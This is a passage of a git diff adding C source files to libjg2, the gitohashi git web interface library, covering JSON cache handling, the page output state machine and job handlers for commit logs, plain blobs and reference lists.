+			rei->conf_len[n] = slen + 1;
+			memcpy(p, str, slen + 1);
+			p += slen + 1;
+		} else
+			len += slen + 1;
+	}
+
+	git_config_free(oc);
+
+post1:
+	git_config_free(cfg);
+
+post:
+	return len;
+}
+
+const struct repo_entry_info *
+jg2_lookup_repo_config(struct jg2_vhost *vh, const char *repo_name)
+{
+	struct repo_entry_info *rei;
+	list_ptr lp = vh->rei_head;
+
+	while (lp) {
+		rei = lp_to_rei(lp, next);
+
+		if (!strcmp((const char *)(rei + 1), repo_name))
+			return rei;
+		list_ptr_advance(lp);
+	}
+
+	return NULL;
+}
+
+const char *
+jg2_rei_string(const struct repo_entry_info *rei, enum rei_string_index n)
+{
+	const char *p = (const char *)(rei + 1);
+
+	if (n == REI_STRING_NAME)
+		return p;
+	p += rei->name_len;
+	if (n == REI_STRING_ACL)
+		return p;
+	p += rei->acl_len;
+	if (n == REI_STRING_CONFIG_DESC)
+		return p;
+	p += rei->conf_len[0];
+	if (n == REI_STRING_CONFIG_OWNER)
+		return p;
+	p += rei->conf_len[1];
+	if (n == REI_STRING_CONFIG_URL)
+		return p;
+
+	return NULL;
+}
+
+static uint64_t
+timeval_us(struct timeval *t)
+{
+	return ((uint64_t)t->tv_sec * 1000000ull) + t->tv_usec;
+}
+
+static void
+cache_write_complete(struct jg2_ctx *ctx)
+{
+	char final_name[128], *p;
+
+	close(ctx->fd_cache);
+	ctx->fd_cache = -1;
+
+	/*
+	 * We may have unwittingly been in a race with
+	 * another thread / process creating the same
+	 * thing for another client.  We prepended the
+	 * pid + ctx pointer to the temp filepath so
+	 * they won't clash as files, but only one can
+	 * be renamed to the final filepath.  So we may
+	 * fail if we lost the race... no worries, the
+	 * job still got done.  Just delete ourselves
+	 * if the rename fails.
+	 */
+
+	p = strchr(ctx->cache, '~');
+	if (!p)
+		unlink(ctx->cache);
+	else {
+		int n = lws_ptr_diff(p, ctx->cache);
+
+		memcpy(final_name, ctx->cache, n);
+		final_name[n] = '\0';
+		if (rename(ctx->cache, final_name))
+			unlink(ctx->cache);
+	}
+}
+
+static void
+cache_write(struct jg2_ctx *ctx, jg2_job job_in)
+{
+	int n, count;
+
+	if (job_in == job_spool_from_cache)
+		return;
+
+	if (ctx->fd_cache == -1)
+		return;
+
+	if (ctx->cache_written_p == ctx->p)
+		return;
+
+	count = lws_ptr_diff(ctx->p, ctx->cache_written_p);
+	n = write(ctx->fd_cache, ctx->cache_written_p, count);
+
+	ctx->cache_written_p = ctx->p;
+
+	if (n == count)
+		return;
+
+	/*
+	 * ...if we met an error writing into it, close
+	 * and delete the cache file, but continue with
+	 * generating the live ctx data
+	 */
+
+	lwsl_notice("%s: cache write %s, fd %d, "
+		    "failed: errno %d\n", __func__,
+		    ctx->cache, ctx->fd_cache, errno);
+	close(ctx->fd_cache);
+	ctx->fd_cache = -1;
+	unlink(ctx->cache);
+}
+
+void
+meta_header(struct jg2_ctx *ctx)
+{
+	const char *av = "//www.gravatar.com/avatar/";
+	const struct repo_entry_info *rei = NULL;
+	int f = 0, m = 0;
+	char pure[128];
+	size_t n;
+
+	ctx->started = 1;
+	ctx->subsequent = 0;
+
+	if (ctx->meta || ctx->destroying)
+		return;
+
+	if (ctx->vhost->cfg.avatar_url)
+		av = ctx->vhost->cfg.avatar_url;
+
+#if LIBGIT2_HAS_BLAME
+	f |= 1;
+#endif
+#if defined(JG2_HAVE_ARCHIVE_H)
+	f |= 2;
+#endif
+	f |= ctx->blog_mode << 2;
+
+	if (ctx->sr.e[JG2_PE_NAME])
+		rei = jg2_lookup_repo_config(ctx->vhost,
+					     ctx->sr.e[JG2_PE_NAME]);
+
+	/*
+	 * We always issue this first section fresh.  That allows it to
+	 * contain things like the accept-languages header the browser sent,
+	 * something that's specific to the client (and not possible to get
+	 * at otherwise from the browser in a standardized way).
+	 *
+	 * f b0 = capable of blame
+	 *   b1 = capable of archiving
+	 *   b2 = blog mode
+	 */
+
+	CTX_BUF_APPEND("{"
+		       "\"schema\":\"libjg2-1\",\n"
+		       "\"vpath\":\"%s\",\n"
+		       "\"avatar\":\"%s\",\n"
+		       "\"alang\":\"%s\",\n"
+		       "\"gen_ut\":%lu,\n",
+		       ctx->vhost->cfg.virtual_base_urlpath, av,
+		       ellipsis_purify(pure, ctx->alang, sizeof(pure)),
+		       (unsigned long)ctx->tv_gen.tv_sec);
+
+	if (ctx->sr.e[JG2_PE_NAME])
+		CTX_BUF_APPEND("\"reponame\":\"%s\",\n",
+					ctx->sr.e[JG2_PE_NAME]);
+
+	if (!ctx->jrepo || !ctx->jrepo->repo || !rei)
+		goto post;
+
+	for (n = REI_STRING_CONFIG_DESC; n <= REI_STRING_CONFIG_URL; n++) {
+		const char *str = jg2_rei_string(rei, n);
+
+		if (!str) {
+			m++;
+			continue;
+		}
+
+		if (n == REI_STRING_CONFIG_OWNER) {
+			CTX_BUF_APPEND("\"%s\": {", items[m].json);
+			identity_json(str, ctx);
+			CTX_BUF_APPEND("},");
+		} else
+			CTX_BUF_APPEND("\"%s\":\"%s\",\n", items[m].json,
+				      ellipsis_purify(pure, str, sizeof(pure)));
+		m++;
+	}
+
+post:
+	CTX_BUF_APPEND("\"f\":%d,\n\"items\": [\n", f);
+
+	ctx->cache_written_p = ctx->p;
+
+	ctx->meta = 1;
+}
+
+void
+job_common_header(struct jg2_ctx *ctx)
+{
+	char path[128], *p;
+	size_t l = strlen(ctx->vhost->cfg.json_cache_base);
+
+	if (strlen(ctx->cache) < l + 6) {
+		path[0] = '?';
+		path[1] = '\0';
+	} else {
+		strncpy(path, ctx->cache + l + 5, sizeof(path) - 1);
+		path[sizeof(path) - 1] = '\0';
+
+		p = strchr(path, '~');
+		if (p)
+			*p = '\0';
+	}
+
+	CTX_BUF_APPEND("{"
+			    "\"schema\":\"libjg2-1\",\n");
+	if (ctx->vhost->cfg.json_cache_base)
+		CTX_BUF_APPEND("\"cid\":\"%s\",\n", path);
+}
+
+void
+meta_trailer(struct jg2_ctx *ctx, const char *term)
+{
+	struct timeval t2;
+	int pc = 0, pc1 = 0;
+
+	if (lws_ptr_diff(ctx->end, ctx->p) < JG2_RESERVE_SEAL)
+		lwsl_err("%s: JG2_RESERVE_SEAL %d but only %d left\n", __func__,
+			 JG2_RESERVE_SEAL, lws_ptr_diff(ctx->end, ctx->p));
+
+	ctx->final = 1;
+
+	gettimeofday(&t2, NULL);
+
+	/*
+	 * the numbers are padded so that they don't affect the result length
+	 * for tests like ab that care about it
+	 */
+
+	if (term)
+		/* s section is 12 chars + numbers */
+		CTX_BUF_APPEND("%s,\"s\":{\"c\":%8lu,\"u\":%8u}", term,
+		       (unsigned long)ctx->tv_gen.tv_sec,
+		       (unsigned int)(ctx->us_gen + (timeval_us(&t2) -
+				      timeval_us(&ctx->tv_last))));
+	ctx->tv_last = t2;
+
+	/* we also always seal it with } CR */
+
+	if (term)
+		CTX_BUF_APPEND("}\n");
+
+	if (!ctx->meta || ctx->destroying)
+		return;
+
+	if (!ctx->meta_last_job) {
+		CTX_BUF_APPEND(",");
+		return;
+	}
+
+	/* if we were writing a job cache, it's over now */
+
+	if (ctx->job != job_spool_from_cache && ctx->fd_cache != -1) {
+		cache_write(ctx, ctx->job);
+		cache_write_complete(ctx);
+	}
+
+	if (ctx->vhost->cache_tries)
+		pc = (ctx->vhost->cache_hits * 100) / ctx->vhost->cache_tries;
+
+	if (ctx->vhost->etag_tries)
+		pc1 = (ctx->vhost->etag_hits * 100) / ctx->vhost->etag_tries;
+
+	if (!jg2_job_naked(ctx))
+		CTX_BUF_APPEND("],\"g\":%8lu,\"chitpc\":%8u,\"ehitpc\":%8u}\n\n",
+			       (unsigned long)(timeval_us(&t2) -
+			       timeval_us(&ctx->tv_gen)), pc, pc1);
+
+	ctx->started = ctx->meta = 0;
+}
+
+/*
+ * This performs sequencing for delivering a sandwich of
+ *
+ *  - optionally first part of vhost HTML before the magic comment
+ *
+ *  - one or more jobs generating JSON
+ *
+ *  - optionally the remainder of the HTML after the magic comment
+ *
+ * This also makes the selection of which JSON generation jobs need
+ * doing based on the context's urlpath.
+ *
+ * For anything it generates, it statefully respects the buffer size
+ * and waits to be called again to continue to emit (not necessarily
+ * to the same buffer)
+ */
+
+int
+jg2_ctx_fill(struct jg2_ctx *ctx, char *buf, size_t len, size_t *used)
+{
+	const char *mode, *vid, *reponame;
+	size_t m = 0, left = len - 1;
+	struct timeval t2;
+	char id[64];
+	jg2_job job_in;
+	int more;
+
+	*used = 0;
+
+	ctx->buf = buf;
+	ctx->p = buf;
+	ctx->cache_written_p = buf;
+	ctx->len = len;
+	ctx->end = (char *)buf + len - 1;
+	ctx->final = 0;
+
+
+	reponame = jg2_ctx_get_path(ctx, JG2_PE_NAME, NULL, 0);
+	mode = jg2_ctx_get_path(ctx, JG2_PE_MODE, NULL, 0);
+	vid = jg2_ctx_get_path(ctx, JG2_PE_VIRT_ID, id, sizeof(id));
+
+	switch (ctx->html_state) {
+
+	case HTML_STATE_HTML_META:
+		m = ctx->vhost->meta - ctx->html_pos > left ?
+		    left : ctx->vhost->meta - ctx->html_pos;
+		memcpy(ctx->p, ctx->vhost->html_content + ctx->html_pos, m);
+		ctx->html_pos += m;
+		ctx->p += m;
+
+		if (ctx->html_pos != ctx->vhost->meta ||
+		    lws_ptr_diff(ctx->end, ctx->p) < 1024)
+			break;
+
+		CTX_BUF_APPEND("<meta name=\"Description\" content=\""
+			       "generated-by:gitohashi git web interface, "
+			       "repository: %s, mode: %s, path: %s\">",
+			       reponame ? reponame : "-", mode ? mode : "-",
+			       jg2_ctx_get_path(ctx, JG2_PE_NAME, NULL, 0) ?
+			       jg2_ctx_get_path(ctx, JG2_PE_NAME, NULL, 0) : "-",
+			       vid ? vid : "-");
+
+		ctx->html_pos += JG2_HTML_META_LEN;
+		ctx->html_state = HTML_STATE_HTML_HEADER;
+
+		/* fallthru */
+
+	case HTML_STATE_HTML_HEADER:
+		m = ctx->vhost->dynamic - ctx->html_pos > left ?
+		    left : ctx->vhost->dynamic - ctx->html_pos;
+		memcpy(ctx->p, ctx->vhost->html_content + ctx->html_pos, m);
+		ctx->html_pos += m;
+		ctx->p += m;
+
+		if (ctx->html_pos != ctx->vhost->dynamic ||
+		    lws_ptr_diff(ctx->end, ctx->p) < 1024)
+			break;
+
+		ctx->html_pos += JG2_HTML_DYNAMIC_LEN;
+
+		/* fallthru */
+
+	case HTML_STATE_JOB1:
+		ctx->html_state = HTML_STATE_JSON;
+
+		if (mode && !strcmp(mode, "log")) {
+			ctx->job_state = EMIT_STATE_LOG;
+			jg2_ctx_set_job(ctx, JG2_JOB_LOG, vid, 50,
+					JG2_JOB_FLAG_FINAL);
+		} else if (mode && !strcmp(mode, "plain")) {
+			ctx->job_state = EMIT_STATE_PLAIN;
+			jg2_ctx_set_job(ctx, JG2_JOB_PLAIN, vid, 0,
+						JG2_JOB_FLAG_FINAL);
+		} else if (mode && !strcmp(mode, "commit")) {
+			ctx->job_state = EMIT_STATE_COMMITBODY;
+			jg2_ctx_set_job(ctx, JG2_JOB_COMMIT,
+					vid, 0, JG2_JOB_FLAG_FINAL);
+		} else if (mode && !strcmp(mode, "patch")) {
+			ctx->job_state = EMIT_STATE_PATCH;
+			jg2_ctx_set_job(ctx, JG2_JOB_PATCH,
+					vid, 0, JG2_JOB_FLAG_FINAL);
+		} else if (mode && !strcmp(mode, "tags")) {
+			ctx->job_state = EMIT_STATE_TAGS;
+			jg2_ctx_set_job(ctx, JG2_JOB_REFLIST,
+					vid, 0, JG2_JOB_FLAG_FINAL);
+		} else if (mode && !strcmp(mode, "branches")) {
+			ctx->job_state = EMIT_STATE_BRANCHES;
+			jg2_ctx_set_job(ctx, JG2_JOB_REFLIST,
+					vid, 0, JG2_JOB_FLAG_FINAL);
+		} else if (mode && !strcmp(mode, "tree")) {
+			ctx->job_state = EMIT_STATE_TREE;
+			jg2_ctx_set_job(ctx, JG2_JOB_TREE,
+					vid, 0, JG2_JOB_FLAG_FINAL);
+		} else if (mode && !strcmp(mode, "blog")) {
+			ctx->job_state = EMIT_STATE_BLOG;
+			jg2_ctx_set_job(ctx, JG2_JOB_BLOG,
+					vid, 0, JG2_JOB_FLAG_FINAL);
+#if LIBGIT2_HAS_BLAME
+		} else if (mode && !strcmp(mode, "blame")) {
+			ctx->job_state = EMIT_STATE_TREE;
+			jg2_ctx_set_job(ctx, JG2_JOB_TREE,
+					vid, 0, JG2_JOB_FLAG_FINAL);
+#endif
+		} else if (mode && !strcmp(mode, "summary")) {
+			ctx->job_state = EMIT_STATE_SUMMARY;
+			jg2_ctx_set_job(ctx, JG2_JOB_REFLIST,
+					vid, 0, 0);
+#if defined(JG2_HAVE_ARCHIVE_H)
+		} else if (mode && !strcmp(mode, "snapshot")) {
+			ctx->job_state = EMIT_STATE_SNAPSHOT;
+			jg2_ctx_set_job(ctx, JG2_JOB_SNAPSHOT,
+					vid, 0, 0);
+#endif
+		} else if (!mode && (!reponame || !reponame[0])) {
+			ctx->job_state = EMIT_STATE_REPOLIST;
+			jg2_ctx_set_job(ctx, JG2_JOB_REPOLIST,
+					vid, 0, JG2_JOB_FLAG_FINAL);
+		} else {
+			ctx->job_state = EMIT_STATE_TREE;
+			jg2_ctx_set_job(ctx, JG2_JOB_TREE,
+					vid, 0, JG2_JOB_FLAG_FINAL);
+		}
+
+		/* fallthru */
+
+	case HTML_STATE_JSON:
+		if (!jg2_ctx_get_job(ctx))
+			break;
+
+		/*
+		 * We do it in the ctx so the job function itself can also
+		 * compute the elapsed time accurately.
+		 */
+		job_in = ctx->job;
+		gettimeofday(&ctx->tv_last, NULL);
+		more = jg2_ctx_get_job(ctx)(ctx);
+		gettimeofday(&t2, NULL);
+		if (more < 0) {
+			char pure[256];
+
+			lwsl_err("get_job failed %d (%d) %s\n", more,
+				 ctx->job_state, ctx->status);
+
+			meta_header(ctx);
+			job_common_header(ctx);
+
+			ellipsis_purify(pure, ctx->status, sizeof(pure));
+
+			CTX_BUF_APPEND(" \"error\": \"%s\"}]}", pure);
+
+			/* hm... let's say we completed */
+			ctx->final = 1;
+			ctx->meta_last_job = 1;
+			ctx->partway = 0;
+		}
+
+		ctx->us_gen += timeval_us(&t2) - timeval_us(&ctx->tv_last);
+
+		cache_write(ctx, job_in);
+
+		ctx->partway = !ctx->final;
+		if (!ctx->meta_last_job)
+			ctx->final = 0;
+
+		if (ctx->partway)
+			break;
+
+		switch (ctx->job_state) {
+		case EMIT_STATE_SUMMARY:
+			ctx->job_state = EMIT_STATE_SUMMARY_LOG;
+			jg2_ctx_set_job(ctx, JG2_JOB_LOG,
+					"refs/heads/master", 10,
+					JG2_JOB_FLAG_CHAINED |
+					JG2_JOB_FLAG_FINAL);
+			break;
+		case EMIT_STATE_TREE:
+			/*
+			 * after processing the ls for a tree, we might have
+			 * found a doc file we want to show inline additionally
+			 */
+			if (ctx->inline_filename[0] &&
+			    ctx->sr.e[JG2_PE_PATH] != ctx->inline_filename) {
+				/* we found a document we want to show inline */
+
+				ctx->sr.e[JG2_PE_PATH] =
+						ctx->inline_filename;
+				// lwsl_notice("%s: inline %s\n", __func__,
+				//		ctx->sr.e[JG2_PE_PATH]);
+
+				ctx->job_state = EMIT_STATE_TREE;
+				jg2_ctx_set_job(ctx, JG2_JOB_TREE,
+						vid, 0, JG2_JOB_FLAG_CHAINED |
+						JG2_JOB_FLAG_FINAL);
+
+				break;
+			}
+
+			if (ctx->blame_after_tree &&
+			    ctx->sr.e[JG2_PE_PATH] != ctx->inline_filename) {
+				ctx->job_state = EMIT_STATE_BLAME;
+				jg2_ctx_set_job(ctx, JG2_JOB_BLAME,
+						vid, 0, JG2_JOB_FLAG_CHAINED |
+						JG2_JOB_FLAG_FINAL);
+
+				break;
+			}
+
+			/* fallthru */
+		default:
+
+			/*
+			 * This is the end for a single JSON job, chained or
+			 * just on its own.  Finish up the cache file if we
+			 * were making one.
+			 */
+
+			if (ctx->fd_cache != -1)
+				cache_write_complete(ctx);
+
+			if (ctx->flags & JG2_CTX_FLAG_HTML)
+				ctx->html_state = HTML_STATE_HTML_TRAILER;
+			else
+				ctx->html_state = HTML_STATE_COMPLETED;
+			break;
+		}
+		break;
+
+	case HTML_STATE_HTML_TRAILER:
+		left = lws_ptr_diff(ctx->end, ctx->p);
+		m = ctx->vhost->html_len - ctx->html_pos > left ?
+		    left : ctx->vhost->html_len - ctx->html_pos;
+		memcpy(ctx->p, ctx->vhost->html_content + ctx->html_pos, m);
+		ctx->html_pos += m;
+		ctx->p += m;
+
+		if (ctx->html_pos == ctx->vhost->html_len)
+			ctx->html_state = HTML_STATE_COMPLETED;
+		break;
+
+	default:
+		return 1;
+	}
+
+	*used = lws_ptr_diff(ctx->p, ctx->buf);
+
+	return ctx->html_state == HTML_STATE_COMPLETED;
+}
diff --git a/lib/job/log.c b/lib/job/log.c
new file mode 100644
index 0000000..64221ee
--- /dev/null
+++ b/lib/job/log.c
@@ -0,0 +1,139 @@
+/*
+ * libjg2 - log
+ *
+ * Copyright (C) 2018 Andy Green <andy@warmcat.com>
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation:
+ *  version 2.1 of the License.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ *  MA  02110-1301  USA
+ */
+
+#include "../private.h"
+
+#include <stdio.h>
+
+static int
+job_log_start(struct jg2_ctx *ctx)
+{
+	git_generic_ptr u;
+	git_oid oid;
+	int error;
+
+	if (!ctx->hex_oid[0])
+		return 1;
+
+	if (ctx->hex_oid[0] == 'r') {
+		error = git_reference_name_to_id(&oid, ctx->jrepo->repo,
+						 ctx->hex_oid);
+		if (error < 0) {
+			lwsl_err("%s: unable to lookup ref '%s': %d\n",
+				 __func__, ctx->hex_oid, error);
+			return -1;
+		}
+	} else
+		if (git_oid_fromstr(&oid, ctx->hex_oid))
+			return -1;
+
+	error = git_object_lookup(&u.obj, ctx->jrepo->repo, &oid, GIT_OBJ_ANY);
+	if (error < 0)
+		return -1;
+
+	if (git_object_type(u.obj) != GIT_OBJ_COMMIT) {
+		git_object_free(u.obj);
+
+		return -1;
+	}
+
+	ctx->u = u;
+	meta_header(ctx);
+
+	job_common_header(ctx);
+
+	CTX_BUF_APPEND("\"log\": [");
+	ctx->subsequent = 0;
+
+	return 0;
+}
+
+static void
+job_log_destroy(struct jg2_ctx *ctx)
+{
+	if (ctx->u.commit) {
+		git_commit_free(ctx->u.commit);
+		ctx->u.commit = NULL;
+	}
+	ctx->job = NULL;
+}
+
+int
+job_log(struct jg2_ctx *ctx)
+{
+	if (ctx->destroying) {
+		job_log_destroy(ctx);
+
+		return 0;
+	}
+
+	if (!ctx->partway && job_log_start(ctx)) {
+		lwsl_err("%s: start failed (%s)\n", __func__, ctx->hex_oid);
+		return -1;
+	}
+
+	while (JG2_HAS_SPACE(ctx, 768)) {
+		git_commit *c;
+
+		if (!ctx->u.obj || !ctx->count) {
+			CTX_BUF_APPEND("\n]");
+
+			if (ctx->u.obj) {
+				git_commit_parent(&c, ctx->u.commit, 0);
+				if (c) {
+					CTX_BUF_APPEND(", \"next\": ");
+
+					jg2_json_oid(git_commit_id(c), ctx);
+
+					git_commit_free(c);
+				}
+			}
+
+			meta_trailer(ctx, "");
+			job_log_destroy(ctx);
+			return 0;
+		}
+
+		CTX_BUF_APPEND("%c\n{ \"name\": ",
+			       ctx->subsequent ? ',' : ' ');
+
+		ctx->subsequent = 1;
+
+		jg2_json_oid(git_commit_id(ctx->u.commit), ctx);
+
+		CTX_BUF_APPEND(",\n"
+				"\"summary\": {\n");
+
+		commit_summary(ctx->u.commit, ctx);
+
+		CTX_BUF_APPEND("}}");
+
+		c = NULL;
+		git_commit_parent(&c, ctx->u.commit, 0);
+		git_commit_free(ctx->u.commit);
+		ctx->u.commit = c;
+
+		if (ctx->count)
+			ctx->count--;
+	}
+
+	return 0;
+}
diff --git a/lib/job/no-snapshot.c b/lib/job/no-snapshot.c
new file mode 100644
index 0000000..674f782
--- /dev/null
+++ b/lib/job/no-snapshot.c
@@ -0,0 +1,28 @@
+/*
+ * libjg2 - snapshot
+ *
+ * Copyright (C) 2018 Andy Green <andy@warmcat.com>
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation:
+ *  version 2.1 of the License.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ *  MA  02110-1301  USA
+ */
+
+#include "../private.h"
+
+int
+job_snapshot(struct jg2_ctx *ctx)
+{
+	return -1;
+}
diff --git a/lib/job/plain.c b/lib/job/plain.c
new file mode 100644
index 0000000..252ed5c
--- /dev/null
+++ b/lib/job/plain.c
@@ -0,0 +1,81 @@
+/*
+ * libjg2 - plain
+ *
+ * Copyright (C) 2018 Andy Green <andy@warmcat.com>
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation:
+ *  version 2.1 of the License.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ *  MA  02110-1301  USA
+ */
+
+#include "../private.h"
+
+#include <stdio.h>
+#include <string.h>
+
+static int
+job_plain_start(struct jg2_ctx *ctx)
+{
+	ctx->meta_last_job = 1;
+	return blob_from_commit(ctx);
+}
+
+static void
+job_plain_destroy(struct jg2_ctx *ctx)
+{
+	if (ctx->u.blob) {
+		git_blob_free(ctx->u.blob);
+		ctx->u.blob = NULL;
+	}
+	ctx->job = NULL;
+}
+
+
+int
+job_plain(struct jg2_ctx *ctx)
+{
+	size_t m;
+
+	if (ctx->destroying) {
+		job_plain_destroy(ctx);
+
+		return 0;
+	}
+
+	if (!ctx->partway && job_plain_start(ctx)) {
+		lwsl_err("%s: start failed (%s)\n", __func__, ctx->hex_oid);
+
+		return -1;
+	}
+
+	if (ctx->body && JG2_HAS_SPACE(ctx, 1)) {
+		/* we're sending a blob */
+
+		m = lws_ptr_diff(ctx->end, ctx->p) - 1;
+
+		if (m > ctx->size - ctx->pos)
+			m = ctx->size - ctx->pos;
+
+		memcpy(ctx->p, (char *)ctx->body + ctx->pos, m);
+		ctx->pos += m;
+		ctx->p += m;
+
+		if (ctx->pos == ctx->size) {
+			ctx->final = 1;
+			job_plain_destroy(ctx);
+		}
+	}
+
+	return 0;
+}
diff --git a/lib/job/private.h b/lib/job/private.h
new file mode 100644
index 0000000..410dbe2
--- /dev/null
+++ b/lib/job/private.h
@@ -0,0 +1,151 @@
+typedef enum {
+	JG2_JOB_REFLIST,
+	JG2_JOB_LOG,
+	JG2_JOB_COMMIT,
+	JG2_JOB_PATCH,
+	JG2_JOB_TREE,
+	JG2_JOB_PLAIN,
+	JG2_JOB_REPOLIST,
+	JG2_JOB_SNAPSHOT,
+	JG2_JOB_BLAME,
+	JG2_JOB_BLOG,
+} jg2_job_enum;
+
+typedef enum {
+	EMIT_STATE_SUMMARY,
+	EMIT_STATE_SUMMARY_LOG,
+
+	EMIT_STATE_LOG,
+
+	EMIT_STATE_COMMITBODY,
+
+	EMIT_STATE_PATCH,
+
+	EMIT_STATE_TAGS,
+
+	EMIT_STATE_BRANCHES,
+
+	EMIT_STATE_TREE,
+
+	EMIT_STATE_PLAIN,
+
+	EMIT_STATE_REPOLIST,
+
+	EMIT_STATE_SNAPSHOT,
+
+	EMIT_STATE_BLAME,
+
+	EMIT_STATE_BLOG,
+
+} jg2_job_state;
+
+enum rei_string_index {
+	REI_STRING_NAME,
+	REI_STRING_ACL,
+	REI_STRING_CONFIG_DESC,
+	REI_STRING_CONFIG_OWNER,
+	REI_STRING_CONFIG_URL
+};
+
+/*
+ * Indicates this job is a consequence of the immediately previous job.  If
+ * storing the results into the cache, it means this job should be appended to
+ * previously used cache file and not treated as somthing on its own.
+ */
+
+#define JG2_JOB_FLAG_FINAL 1
+#define JG2_JOB_FLAG_CHAINED 128
+
+/**
+ * jg2_job() - produce output from the job
+ *
+ * \param ctx: pointer to the context
+ *
+ * Writes a buffer with JSON from the execution of a "job".
+ *
+ * buf and len (length of buf) set where the JSON will be written.
+ *
+ * If the output is incomplete, 1 will be returned.  If the written chunk
+ * of JSON is the last in the "job", 0 will be returned.
+ *
+ * Job functions set the context job to NULL when they complete the last chunk.
+ */
+typedef int (*jg2_job)(struct jg2_ctx *ctx);
+
+
+/**
+ * jg2_jobs() - Get pointer to jobs table
+ *
+ * \param n: One of JG2_job_enum (JG2_JOB_...)
+ *
+ * Returns a function pointer to the requested "job" the library can statefully
+ * perform in a context.
+ */
+jg2_job
+jg2_get_job(jg2_job_enum n);
+
+/**
+ * jg2_ctx_get_job() - get the current "job" the context is doing
+ *
+ * \param ctx: pointer to the context
+ *
+ * Returns NULL if no active job, or the pointer to the job function
+ */
+jg2_job
+jg2_ctx_get_job(struct jg2_ctx *ctx);
+
+
+/*
+ * Is the mode going to produce JSON?  Return 0.  Otherwise return the
+ * JG2_JOB index for the type of naked content it wants to produce.
+ */
+int
+jg2_job_naked(struct jg2_ctx *ctx);
+
+void
+meta_header(struct jg2_ctx *ctx);
+
+void
+job_common_header(struct jg2_ctx *ctx);
+
+void
+meta_trailer(struct jg2_ctx *ctx, const char *term);
+
+void
+__jg2_job_compute_cache_hash(struct jg2_ctx *ctx, jg2_job_enum job, int count,
+			     char *md5_hex33);
+
+const struct repo_entry_info *
+jg2_lookup_repo_config(struct jg2_vhost *vh, const char *repo_name);
+
+const char *
+jg2_rei_string(const struct repo_entry_info *rei, enum rei_string_index n);
+
+/* jobs */
+
+int
+job_reflist(struct jg2_ctx *ctx);
+
+int
+job_log(struct jg2_ctx *ctx);
+
+int
+job_commit(struct jg2_ctx *ctx);
+
+int
+job_tree(struct jg2_ctx *ctx);
+
+int
+job_plain(struct jg2_ctx *ctx);
+
+int
+job_repos(struct jg2_ctx *ctx);
+
+int
+job_snapshot(struct jg2_ctx *ctx);
+
+int
+job_blame(struct jg2_ctx *ctx);
+
+int
+job_blog(struct jg2_ctx *ctx);
diff --git a/lib/job/reflist.c b/lib/job/reflist.c
new file mode 100644
index 0000000..62c7642
--- /dev/null
+++ b/lib/job/reflist.c
@@ -0,0 +1,95 @@
+/*
+ * libjg2 - ref list
+ *
+ * Copyright (C) 2018 Andy Green <andy@warmcat.com>
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation:
+ *  version 2.1 of the License.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ *  MA  02110-1301  USA
+ */
+
+#include "../private.h"
+
+static int
+job_reflist_start(struct jg2_ctx *ctx)
+{
+	if (git_reference_iterator_new(&ctx->iter_ref, ctx->jrepo->repo) < 0)
+		return -1;
+
+	meta_header(ctx);
+
+	job_common_header(ctx);
+	CTX_BUF_APPEND("\"reflist\": [");
+
+	return 0;
+}
+
+static void
+job_reflist_destroy(struct jg2_ctx *ctx)
+{
+	if (ctx->iter_ref) {
+		git_reference_iterator_free(ctx->iter_ref);
+		ctx->iter_ref = NULL;
+	}
+	ctx->job = NULL;
+}
+
+int
+job_reflist(struct jg2_ctx *ctx)
+{
+	if (ctx->destroying) {
+		job_reflist_destroy(ctx);
+
+		return 0;
+	}
+
+	if (!ctx->partway && job_reflist_start(ctx))
+		return -1;
+
+	while (JG2_HAS_SPACE(ctx, 768)) {
+		char pure[128];
+		git_reference *gref, *rref;
+		const git_oid *oid;
+
+		/*
+		 * This will list 'commit' and 'tag' objects...
+		 * 'commit' objects named refs/heads/xxx represent branch xxx
+		 */
+
+		if (git_reference_next(&gref, ctx->iter_ref) < 0) {
+			meta_trailer(ctx, "\n]");
+			job_reflist_destroy(ctx);
+			break;
+		}
+
+		git_reference_resolve(&rref, gref);
+		oid = git_reference_target(rref);
+		if (oid) {
+			jg2_json_purify(pure, git_reference_name(gref),
+					sizeof(pure), NULL);
+			CTX_BUF_APPEND("%c\n{ \"name\": \"%s\","
+				       "\"summary\": ",
+				       ctx->subsequent ? ',' : ' ', pure);
+			ctx->subsequent = 1;
+			generic_object_summary(oid, ctx);
+
+			CTX_BUF_APPEND("}");
+		}
+
+		git_reference_free(rref);
+		git_reference_free(gref);
+	}
+
+	return 0;
+}
diff --git a/lib/job/repos.c b/lib/job/repos.c
new file mode 100644
index 0000000..279913b
--- /dev/null
+++ b/lib/job/repos.c
